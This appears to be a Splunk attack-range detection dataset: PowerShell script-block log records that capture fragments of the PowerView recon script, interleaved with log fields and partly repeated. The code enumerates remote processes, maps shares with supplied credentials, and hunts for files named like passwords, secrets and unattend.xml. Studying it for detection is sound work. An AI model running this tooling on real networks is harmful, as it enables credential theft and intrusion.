including the owners of the particular process.
.PARAMETER ComputerName
Specifies the hostname to query for cached RDP connections (also accepts IP addresses).
Defaults to 'localhost'.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote system.
.EXAMPLE
Get-WMIProcess -ComputerName WINDOWS1
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-WMIProcess -ComputerName PRIMARY.testlab.local -Credential $Cred
.OUTPUTS
PowerView.UserProcess
A PSCustomObject containing the remote process information.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.UserProcess')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = 'localhost',
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
ForEach ($Computer in $ComputerName) {
try {
$WmiArguments = @{
'ComputerName' = $ComputerName
'Class' = 'Win32_process'
}
if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential }
Get-WMIobject @WmiArguments | ForEach-Object {
$Owner = $_.getowner();
$Process = New-Object PSObject
$Process | Add-Member Noteproperty 'ComputerName' $Computer
$Process | Add-Member Noteproperty 'ProcessName' $_.ProcessName
$Process | Add-Member Noteproperty 'ProcessID' $_.ProcessID
$Process | Add-Member Noteproperty 'Domain' $Owner.Domain
$Process | Add-Member Noteproperty 'User' $Owner.User
$Process.PSObject.TypeNames.Insert(0, 'PowerView.UserProcess')
$Process
}
}
catch {
Write-Verbose ""[Get-WMIProcess] Error enumerating remote processes on '$Computer', access likely denied: $_""
}
}
}
}
function Find-InterestingFile {
<#
.SYNOPSIS
Searches for files on the given path that match a series of specified criteria.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection
.DESCRIPTION
This function recursively searches a given UNC path for files with
specific keywords in the name (default of pass, sensitive, secret, admin,
login and unattend*.xml). By default, hidden files/folders are included
in search results. If -Credential is passed, Add-RemoteConnection/Remove-RemoteConnection
is used to temporarily map the remote share.
.PARAMETER Path
UNC/local path to recursively search.
.PARAMETER Include
Only return files/folders that match the specified array of strings,
i.e. @(*.doc*, *.xls*, *.ppt*)
.PARAMETER LastAccessTime
Only return files with a LastAccessTime greater than this date value.
.PARAMETER LastWriteTime
Only return files with a LastWriteTime greater than this date value.
.PARAMETER CreationTime
Only return files with a CreationTime greater than this date value.
.PARAMETER OfficeDocs
Switch. Search for office documents (*.doc*, *.xls*, *.ppt*)
.PARAMETER FreshEXEs
Switch. Find .EXEs accessed within the last 7 days.
.PARAMETER ExcludeFolders
Switch. Exclude folders from the search results.
.PARAMETER ExcludeHidden
Switch. Exclude hidden files and folders from the search results.
.PARAMETER CheckWriteAccess
Switch. Only returns files the current user has write access to.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
to connect to remote systems for file enumeration.
.EXAMPLE
Find-InterestingFile -Path ""C:\Backup\""
Returns any files on the local path C:\Backup\ that have the default
search term set in the title.
.EXAMPLE
Find-InterestingFile -Path ""\\WINDOWS7\Users\"" -LastAccessTime (Get-Date).AddDays(-7)
Returns any files on the remote path \\WINDOWS7\Users\ that have the default
search term set in the title and were accessed within the last week.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Find-InterestingFile -Credential $Cred -Path ""\\PRIMARY.testlab.local\C$\Temp\""
.OUTPUTS
PowerView.FoundFile
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.FoundFile')]
[CmdletBinding(DefaultParameterSetName = 'FileSpecification')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[ValidateNotNullOrEmpty()]
[String[]]
$Path = '.\',
[Parameter(ParameterSetName = 'FileSpecification')]
[ValidateNotNullOrEmpty()]
[Alias('SearchTerms', 'Terms')]
[String[]]
$Include = @('*password*', '*sensitive*', '*admin*', '*login*', '*secret*', 'unattend*.xml', '*.vmdk', '*creds*', '*credential*', '*.config'),
[Parameter(ParameterSetName = 'FileSpecification')]
[ValidateNotNullOrEmpty()]
[DateTime]
$LastAccessTime,
[Parameter(ParameterSetName = 'FileSpecification')]
[ValidateNotNullOrEmpty()]
[DateTime]
$LastWriteTime,
[Parameter(ParameterSetName = 'FileSpecification')]
[ValidateNotNullOrEmpty()]
[DateTime]
$CreationTime,
[Parameter(ParameterSetName = 'OfficeDocs')]
[Switch]
$OfficeDocs,
[Parameter(ParameterSetName = 'FreshEXEs')]
[Switch]
$FreshEXEs,
[Parameter(ParameterSetName = 'FileSpecification')]
[Switch]
$ExcludeFolders,
[Parameter(ParameterSetName = 'FileSpecification')]
[Switch]
$ExcludeHidden,
[Switch]
$CheckWriteAccess,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$SearcherArguments = @{
'Recurse' = $True
'ErrorAction' = 'SilentlyContinue'
'Include' = $Include
}
if ($PSBoundParameters['OfficeDocs']) {
$SearcherArguments['Include'] = @('*.doc', '*.docx', '*.xls', '*.xlsx', '*.ppt', '*.pptx')
}
elseif ($PSBoundParameters['FreshEXEs']) {
# find .exe's accessed within the last 7 days
$LastAccessTime = (Get-Date).AddDays(-7).ToString('MM/dd/yyyy')
$SearcherArguments['Include'] = @('*.exe')
}
$SearcherArguments['Force'] = -not $PSBoundParameters['ExcludeHidden']
$MappedComputers = @{}
function Test-Write {
# short helper to check is the current user can write to a file
[CmdletBinding()]Param([String]$Path)
try {
$Filetest = [IO.File]::OpenWrite($Path)
$Filetest.Close()
$True
}
catch {
$False
}
}
}
PROCESS {
ForEach ($TargetPath in $Path) {
if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
$HostComputer = (New-Object System.Uri($TargetPath)).Host
if (-not $MappedComputers[$HostComputer]) {
# map IPC$ to this computer if it's not already
Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential
$MappedComputers[$HostComputer] = $True
}
}
$SearcherArguments['Path'] = $TargetPath
Get-ChildItem @SearcherArguments | ForEach-Object {
# check if we're excluding folders
$Continue = $True
if ($PSBoundParameters['ExcludeFolders'] -and ($_.PSIsContainer)) {
Write-Verbose ""Excluding: $($_.FullName)""
$Continue = $False
}
if ($LastAccessTime -and ($_.LastAccessTime -lt $LastAccessTime)) {
$Continue = $False
}
if ($PSBoundParameters['LastWriteTime'] -and ($_.LastWriteTime -lt $LastWriteTime)) {
$Continue = $False
}
if ($PSBoundParameters['CreationTime'] -and ($_.CreationTime -lt $CreationTime)) {
$Continue = $False
}
if ($PSBoundParameters['CheckWriteAccess'] -and (-not (Test-Write -Path $_.FullName))) {
$Continue = $False
}
if ($Continue) {
$FileParams = @{
'Path' = $_.FullName
'Owner' = $((Get-Acl $_.FullName).Owner)
'LastAccessTime' = $_.LastAccessTime
'LastWriteTime' = $_.LastWriteTime
'CreationTime' = $_.CreationTime
'Length' = $_.Length
}
$FoundFile = New-Object -TypeName PSObject -Property $FileParams
$FoundFile.PSObject.TypeNames.Insert(0, 'PowerView.FoundFile')
$FoundFile
}
}
}
}
END {
# remove the IPC$ mappings
$MappedComputers.Keys | Remove-RemoteConnection
}
}
########################################################
#
# 'Meta'-functions start below
#
########################################################
function New-ThreadedFunction {
# Helper used by any threaded host enumeration functions
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[String[]]
$ComputerName,
[Parameter(Position = 1, Mandatory = $True)]
[System.Management.Automation.ScriptBlock]
$ScriptBlock,
[Parameter(Position = 2)]
[Hashtable]
$ScriptParameters,
[Int]
[ValidateRange(1, 100)]
$Threads = 20,
[Switch]
$NoImports
)
BEGIN {
# Adapted from:
# http://powershell.org/wp/forums/topic/invpke-parallel-need-help-to-clone-the-current-runspace/
$SessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault()
# # $SessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState()
# force a single-threaded apartment state (for token-impersonation stuffz)
$SessionState.ApartmentState = [System.Threading.ApartmentState]::STA
# import the current session state's variables and functions so the chained PowerView
# functionality can be used by the threaded blocks
if (-not $NoImports) {
# grab all the current variables for this runspace
$MyVars = Get-Variable -Scope 2
# these Variables are added by Runspace.Open() Method and produce Stop errors if you add them twice
$VorbiddenVars = @('?','args','ConsoleFileName','Error','ExecutionContext','false','HOME','Host','input','InputObject','MaximumAliasCount','MaximumDriveCount','MaximumErrorCount','MaximumFunctionCount','MaximumHistoryCount','MaximumVariableCount','MyInvocation','null','PID','PSBoundParameters','PSCommandPath','PSCulture','PSDefaultParameterValues','PSHOME','PSScriptRoot','PSUICulture','PSVersionTable','PWD','ShellId','SynchronizedHash','true')
# add Variables from Parent Scope (current runspace) into the InitialSessionState
ForEach ($Var in $MyVars) {
if ($VorbiddenVars -NotContains $Var.Name) {
$SessionState.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes))
}
}
# add Functions from current runspace to the InitialSessionState
ForEach ($Function in (Get-ChildItem Function:)) {
$SessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition))
}
}
# threading adapted from
# https://github.com/darkoperator/Posh-SecMod/blob/master/Discovery/Discovery.psm1#L407
# Thanks Carlos!
# create a pool of maxThread runspaces
$Pool = [RunspaceFactory]::CreateRunspacePool(1, $Threads, $SessionState, $Host)
$Pool.Open()
# do some trickery to get the proper BeginInvoke() method that allows for an output queue
$Method = $Null
ForEach ($M in [PowerShell].GetMethods() | Where-Object { $_.Name -eq 'BeginInvoke' }) {
$MethodParameters = $M.GetParameters()
if (($MethodParameters.Count -eq 2) -and $MethodParameters[0].Name -eq 'input' -and $MethodParameters[1].Name -eq 'output') {
$Method = $M.MakeGenericMethod([Object], [Object])
break
}
}
$Jobs = @()
$ComputerName = $ComputerName | Where-Object {$_ -and $_.Trim()}
Write-Verbose ""[New-ThreadedFunction] Total number of hosts: $($ComputerName.count)""
# partition all hosts from -ComputerName into $Threads number of groups
if ($Threads -ge $ComputerName.Length) {
$Threads = $ComputerName.Length
}
$ElementSplitSize = [Int]($ComputerName.Length/$Threads)
$ComputerNamePartitioned = @()
$Start = 0
$End = $ElementSplitSize
for($i = 1; $i -le $Threads; $i++) {
$List = New-Object System.Collections.ArrayList
if ($i -eq $Threads) {
$End = $ComputerName.Length
}
$List.AddRange($ComputerName[$Start..($End-1)])
$Start += $ElementSplitSize
$End += $ElementSplitSize
$ComputerNamePartitioned += @(,@($List.ToArray()))
}
Write-Verbose ""[New-ThreadedFunction] Total number of threads/partitions: $Threads""
ForEach ($ComputerNamePartition in $ComputerNamePartitioned) {
# create a ""powershell pipeline runner""
$PowerShell = [PowerShell]::Create()
$PowerShell.runspacepool = $Pool
# add the script block + arguments with the given computer partition
$Null = $PowerShell.AddScript($ScriptBlock).AddParameter('ComputerName', $ComputerNamePartition)
if ($ScriptParameters) {
ForEach ($Param in $ScriptParameters.GetEnumerator()) {
$Null = $PowerShell.AddParameter($Param.Name, $Param.Value)
}
}
# create the output queue
$Output = New-Object Management.Automation.PSDataCollection[Object]
# kick off execution using the BeginInvok() method that allows queues
$Jobs += @{
PS = $PowerShell
Output = $Output
Result = $Method.Invoke($PowerShell, @($Null, [Management.Automation.PSDataCollection[Object]]$Output))
}
}
}
END {
Write-Verbose ""[New-ThreadedFunction] Threads executing""
# continuously loop through each job queue, consuming output as appropriate
Do {
ForEach ($Job in $Jobs) {
$Job.Out",,,,,,,,,,,"'2022-05-02T18:24:44.741639800Z'","4104132150x0122635Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local",,,,,2,,"'5528'",,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,1,"4104132150x0122635Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local3444ame) { $UserName = '' }
if ($RemotePath -and ($RemotePath -ne '')) {
$MountedDrive = New-Object PSObject
$MountedDrive | Add-Member Noteproperty 'ComputerName' $Computer
$MountedDrive | Add-Member Noteproperty 'UserName' $UserName
$MountedDrive | Add-Member Noteproperty 'UserSID' $UserSID
$MountedDrive | Add-Member Noteproperty 'DriveLetter' $DriveLetter
$MountedDrive | Add-Member Noteproperty 'ProviderName' $ProviderName
$MountedDrive | Add-Member Noteproperty 'RemotePath' $RemotePath
$MountedDrive | Add-Member Noteproperty 'DriveUserName' $DriveUserName
$MountedDrive.PSObject.TypeNames.Insert(0, 'PowerView.RegMountedDrive')
$MountedDrive
}
}
}
catch {
Write-Verbose ""[Get-WMIRegMountedDrive] Error: $_""
}
}
}
catch {
Write-Warning ""[Get-WMIRegMountedDrive] Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_""
}
}
}
}
function Get-WMIProcess {
<#
.SYNOPSIS
Returns a list of processes and their owners on the local or remote machine.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
Uses Get-WMIObject to enumerate all Win32_process instances on the local or remote machine,
including the owners of the particular process.
.PARAMETER ComputerName
Specifies the hostname to query for cached RDP connections (also accepts IP addresses).
Defaults to 'localhost'.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote system.
.EXAMPLE
Get-WMIProcess -ComputerName WINDOWS1
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-WMIProcess -ComputerName PRIMARY.testlab.local -Credential $Cred
.OUTPUTS
PowerView.UserProcess
A PSCustomObject containing the remote process information.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.UserProcess')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = 'localhost',
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
ForEach ($Computer in $ComputerName) {
try {
$WmiArguments = @{
'ComputerName' = $ComputerName
'Class' = 'Win32_process'
}
if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential }
Get-WMIobject @WmiArguments | ForEach-Object {
$Owner = $_.getowner();
$Process = New-Object PSObject
$Process | Add-Member Noteproperty 'ComputerName' $Computer
$Process | Add-Member Noteproperty 'ProcessName' $_.ProcessName
$Process | Add-Member Noteproperty 'ProcessID' $_.ProcessID
$Process | Add-Member Noteproperty 'Domain' $Owner.Domain
$Process | Add-Member Noteproperty 'User' $Owner.User
$Process.PSObject.TypeNames.Insert(0, 'PowerView.UserProcess')
$Process
}
}
catch {
Write-Verbose ""[Get-WMIProcess] Error enumerating remote processes on '$Computer', access likely denied: $_""
}
}
}
}
function Find-InterestingFile {
<#
.SYNOPSIS
Searches for files on the given path that match a series of specified criteria.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection
.DESCRIPTION
This function recursively searches a given UNC path for files with
specific keywords in the name (default of pass, sensitive, secret, admin,
login and unattend*.xml). By default, hidden files/folders are included
in search results. If -Credential is passed, Add-RemoteConnection/Remove-RemoteConnection
is used to temporarily map the remote share.
.PARAMETER Path
UNC/local path to recursively search.
.PARAMETER Include
Only return files/folders that match the specified array of strings,
i.e. @(*.doc*, *.xls*, *.ppt*)
.PARAMETER LastAccessTime
Only return files with a LastAccessTime greater than this date value.
.PARAMETER LastWriteTime
Only return files with a LastWriteTime greater than this date value.
.PARAMETER CreationTime
Only return files with a CreationTime greater than this date value.
.PARAMETER OfficeDocs
Switch. Search for office documents (*.doc*, *.xls*, *.ppt*)
.PARAMETER FreshEXEs
Switch. Find .EXEs accessed within the last 7 days.
.PARAMETER ExcludeFolders
Switch. Exclude folders from the search results.
.PARAMETER ExcludeHidden
Switch. Exclude hidden files and folders from the search results.
.PARAMETER CheckWriteAccess
Switch. Only returns files the current user has write access to.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
to connect to remote systems for file enumeration.
.EXAMPLE
Find-InterestingFile -Path ""C:\Backup\""
Returns any files on the local path C:\Backup\ that have the default
search term set in the title.
.EXAMPLE
Find-InterestingFile -Path ""\\WINDOWS7\Users\"" -LastAccessTime (Get-Date).AddDays(-7)
Returns any files on the remote path \\WINDOWS7\Users\ that have the default
search term set in the title and were accessed within the last week.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Find-InterestingFile -Credential $Cred -Path ""\\PRIMARY.testlab.local\C$\Temp\""
.OUTPUTS
PowerView.FoundFile
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.FoundFile')]
[CmdletBinding(DefaultParameterSetName = 'FileSpecification')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[ValidateNotNullOrEmpty()]
[String[]]
$Path = '.\',
[Parameter(ParameterSetName = 'FileSpecification')]
[ValidateNotNullOrEmpty()]
[Alias('SearchTerms', 'Terms')]
[String[]]
$Include = @('*password*', '*sensitive*', '*admin*', '*login*', '*secret*', 'unattend*.xml', '*.vmdk', '*creds*', '*credential*', '*.config'),
[Parameter(ParameterSetName = 'FileSpecification')]
[ValidateNotNullOrEmpty()]
[DateTime]
$LastAccessTime,
[Parameter(ParameterSetName = 'FileSpecification')]
[ValidateNotNullOrEmpty()]
[DateTime]
$LastWriteTime,
[Parameter(ParameterSetName = 'FileSpecification')]
[ValidateNotNullOrEmpty()]
[DateTime]
$CreationTime,
[Parameter(ParameterSetName = 'OfficeDocs')]
[Switch]
$OfficeDocs,
[Parameter(ParameterSetName = 'FreshEXEs')]
[Switch]
$FreshEXEs,
[Parameter(ParameterSetName = 'FileSpecification')]
[Switch]
$ExcludeFolders,
[Parameter(ParameterSetName = 'FileSpecification')]
[Switch]
$ExcludeHidden,
[Switch]
$CheckWriteAccess,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$SearcherArguments = @{
'Recurse' = $True
'ErrorAction' = 'SilentlyContinue'
'Include' = $Include
}
if ($PSBoundParameters['OfficeDocs']) {
$SearcherArguments['Include'] = @('*.doc', '*.docx', '*.xls', '*.xlsx', '*.ppt', '*.pptx')
}
elseif ($PSBoundParameters['FreshEXEs']) {
# find .exe's accessed within the last 7 days
$LastAccessTime = (Get-Date).AddDays(-7).ToString('MM/dd/yyyy')
$SearcherArguments['Include'] = @('*.exe')
}
$SearcherArguments['Force'] = -not $PSBoundParameters['ExcludeHidden']
$MappedComputers = @{}
function Test-Write {
# short helper to check is the current user can write to a file
[CmdletBinding()]Param([String]$Path)
try {
$Filetest = [IO.File]::OpenWrite($Path)
$Filetest.Close()
$True
}
catch {
$False
}
}
}
PROCESS {
ForEach ($TargetPath in $Path) {
if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
$HostComputer = (New-Object System.Uri($TargetPath)).Host
if (-not $MappedComputers[$HostComputer]) {
# map IPC$ to this computer if it's not already
Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential
$MappedComputers[$HostComputer] = $True
}
}
$SearcherArguments['Path'] = $TargetPath
Get-ChildItem @SearcherArguments | ForEach-Object {
# check if we're excluding folders
$Continue = $True
if ($PSBoundParameters['ExcludeFolders'] -and ($_.PSIsContainer)) {
Write-Verbose ""Excluding: $($_.FullName)""
$Continue = $False
}
if ($LastAccessTime -and ($_.LastAccessTime -lt $LastAccessTime)) {
$Continue = $False
}
if ($PSBoundParameters['LastWriteTime'] -and ($_.LastWriteTime -lt $LastWriteTime)) {
$Continue = $False
}
if ($PSBoundParameters['CreationTime'] -and ($_.CreationTime -lt $CreationTime)) {
$Continue = $False
}
if ($PSBoundParameters['CheckWriteAccess'] -and (-not (Test-Write -Path $_.FullName))) {
$Continue = $False
}
if ($Continue) {
$FileParams = @{
'Path' = $_.FullName
'Owner' = $((Get-Acl $_.FullName).Owner)
'LastAccessTime' = $_.LastAccessTime
'LastWriteTime' = $_.LastWriteTime
'CreationTime' = $_.CreationTime
'Length' = $_.Length
}
$FoundFile = New-Object -TypeName PSObject -Property $FileParams
$FoundFile.PSObject.TypeNames.Insert(0, 'PowerView.FoundFile')
$FoundFile
}
}
}
}
END {
# remove the IPC$ mappings
$MappedComputers.Keys | Remove-RemoteConnection
}
}
########################################################
#
# 'Meta'-functions start below
#
########################################################
function New-ThreadedFunction {
# Helper used by any threaded host enumeration functions
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[String[]]
$ComputerName,
[Parameter(Position = 1, Mandatory = $True)]
[System.Management.Automation.ScriptBlock]
$ScriptBlock,
[Parameter(Position = 2)]
[Hashtable]
$ScriptParameters,
[Int]
[ValidateRange(1, 100)]
$Threads = 20,
[Switch]
$NoImports
)
BEGIN {
# Adapted from:
# http://powershell.org/wp/forums/topic/invpke-parallel-need-help-to-clone-the-current-runspace/
$SessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault()
# # $SessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState()
# force a single-threaded apartment state (for token-impersonation stuffz)
$SessionState.ApartmentState = [System.Threading.ApartmentState]::STA
# import the current session state's variables and functions so the chained PowerView
# functionality can be used by the threaded blocks
if (-not $NoImports) {
# grab all the current variables for this runspace
$MyVars = Get-Variable -Scope 2
# these Variables are added by Runspace.Open() Method and produce Stop errors if you add them twice
$VorbiddenVars = @('?','args','ConsoleFileName','Error','ExecutionContext','false','HOME','Host','input','InputObject','MaximumAliasCount','MaximumDriveCount','MaximumErrorCount','MaximumFunctionCount','MaximumHistoryCount','MaximumVariableCount','MyInvocation','null','PID','PSBoundParameters','PSCommandPath','PSCulture','PSDefaultParameterValues','PSHOME','PSScriptRoot','PSUICulture','PSVersionTable','PWD','ShellId','SynchronizedHash','true')
# add Variables from Parent Scope (current runspace) into the InitialSessionState
ForEach ($Var in $MyVars) {
if ($VorbiddenVars -NotContains $Var.Name) {
$SessionState.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes))
}
}
# add Functions from current runspace to the InitialSessionState
ForEach ($Function in (Get-ChildItem Function:)) {
$SessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition))
}
}
# threading adapted from
# https://github.com/darkoperator/Posh-SecMod/blob/master/Discovery/Discovery.psm1#L407
# Thanks Carlos!
# create a pool of maxThread runspaces
$Pool = [RunspaceFactory]::CreateRunspacePool(1, $Threads, $SessionState, $Host)
$Pool.Open()
# do some trickery to get the proper BeginInvoke() method that allows for an output queue
$Method = $Null
ForEach ($M in [PowerShell].GetMethods() | Where-Object { $_.Name -eq 'BeginInvoke' }) {
$MethodParameters = $M.GetParameters()
if (($MethodParameters.Count -eq 2) -and $MethodParameters[0].Name -eq 'input' -and $MethodParameters[1].Name -eq 'output') {
$Method = $M.MakeGenericMethod([Object], [Object])
break
}
}
$Jobs = @()
$ComputerName = $ComputerName | Where-Object {$_ -and $_.Trim()}
Write-Verbose ""[New-ThreadedFunction] Total number of hosts: $($ComputerName.count)""
# partition all hosts from -ComputerName into $Threads number of groups
if ($Threads -ge $ComputerName.Length) {
$Threads = $ComputerName.Length
}
$ElementSplitSize = [Int]($ComputerName.Length/$Threads)
$ComputerNamePartitioned = @()
$Start = 0
$End = $ElementSplitSize
for($i = 1; $i -le $Threads; $i++) {
$List = New-Object System.Collections.ArrayList
if ($i -eq $Threads) {
$End = $ComputerName.Length
}
$List.AddRange($ComputerName[$Start..($End-1)])
$Start += $ElementSplitSize
$End += $ElementSplitSize
$ComputerNamePartitioned += @(,@($List.ToArray()))
}
Write-Verbose ""[New-ThreadedFunction] Total number of threads/partitions: $Threads""
ForEach ($ComputerNamePartition in $ComputerNamePartitioned) {
# create a ""powershell pipeline runner""
$PowerShell = [PowerShell]::Create()
$PowerShell.runspacepool = $Pool
# add the script block + arguments with the given computer partition
$Null = $PowerShell.AddScript($ScriptBlock).AddParameter('ComputerName', $ComputerNamePartition)
if ($ScriptParameters) {
ForEach ($Param in $ScriptParameters.GetEnumerator()) {
$Null = $PowerShell.AddParameter($Param.Name, $Param.Value)
}
}
# create the output queue
$Output = New-Object Management.Automation.PSDataCollection[Object]
# kick off execution using the BeginInvok() method that allows queues
$Jobs += @{
PS = $PowerShell
Output = $Output
Result = $Method.Invoke($PowerShell, @($Null, [Management.Automation.PSDataCollection[Object]]$Output))
}
}
}
END {
Write-Verbose ""[New-ThreadedFunction] Threads executing""
# continuously loop through each job queue, consuming output as appropriate
Do {
ForEach ($Job in $Jobs) {
$Job.Oute66f2c62-841c-43ba-a30f-4c6c2ffc9eadC:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Recon\PowerView.ps1","2022-05-02T18:24:44.000+0000",,,,,,,,,,,,,"win-dc-mhaag-attack-range-270.attackrange.local",,"WIN-DC-MHAAG-AT",122635,"endpoint_services_processes err0r nix_errors windows_event_signature",,,,,,,,"WIN-DC-MHAAG-AT",,,122635,win,482,,,,,,,,,,,,,,,,,,,,,,,,,,,"<_='://../////'><><_='--'_='{----}'/><>><>><><",,,,,,,,,,,,,,,,,,,,,4104,"XmlWinEventLog:Microsoft-Windows-PowerShell/Operational",XmlWinEventLog,"splunk-server-mhaag-attack-range-3271",,,,,,,,,,,,"error
track_event_signatures",,,"error
track_event_signatures",,,,,,,,,,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,"Microsoft Windows"
"'{7B7F4240-5E23-0005-5666-7F7B235ED801}'",,,"Microsoft-Windows-PowerShell/Operational",,,,"win-dc-mhaag-attack-range-270.attackrange.local",,,,,,,4104,"3344 $ComputerSite | Add-Member Noteproperty 'IPAddress' $IPAddress
if ($Result -eq 0) {
$Sitename = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($PtrInfo)
$ComputerSite | Add-Member Noteproperty 'SiteName' $Sitename
}
else {
Write-Verbose ""[Get-NetComputerSiteName] Error: $(([ComponentModel.Win32Exception] $Result).Message)""
$ComputerSite | Add-Member Noteproperty 'SiteName' ''
}
$ComputerSite.PSObject.TypeNames.Insert(0, 'PowerView.ComputerSite')
# free up the result buffer
$Null = $Netapi32::NetApiBufferFree($PtrInfo)
$ComputerSite
}
}
END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}
function Get-WMIRegProxy {
<#
.SYNOPSIS
Enumerates the proxy server and WPAD conents for the current user.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
Enumerates the proxy server and WPAD specification for the current user
on the local machine (default), or a machine specified with -ComputerName.
It does this by enumerating settings from
HKU:SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings.
.PARAMETER ComputerName
Specifies the system to enumerate proxy settings on. Defaults to the local host.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connecting to the remote system.
.EXAMPLE
Get-WMIRegProxy
ComputerName ProxyServer AutoConfigURL Wpad
------------ ----------- ------------- ----
WINDOWS1 http://primary.test...
.EXAMPLE
$Cred = Get-Credential ""TESTLAB\administrator""
Get-WMIRegProxy -Credential $Cred -ComputerName primary.testlab.local
ComputerName ProxyServer AutoConfigURL Wpad
------------ ----------- ------------- ----
windows1.testlab.local primary.testlab.local
.INPUTS
String
Accepts one or more computer name specification strings on the pipeline (netbios or FQDN).
.OUTPUTS
PowerView.ProxySettings
Outputs custom PSObjects with the ComputerName, ProxyServer, AutoConfigURL, and WPAD contents.
#>
[OutputType('PowerView.ProxySettings')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = $Env:COMPUTERNAME,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
ForEach ($Computer in $ComputerName) {
try {
$WmiArguments = @{
'List' = $True
'Class' = 'StdRegProv'
'Namespace' = 'root\default'
'Computername' = $Computer
'ErrorAction' = 'Stop'
}
if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential }
$RegProvider = Get-WmiObject @WmiArguments
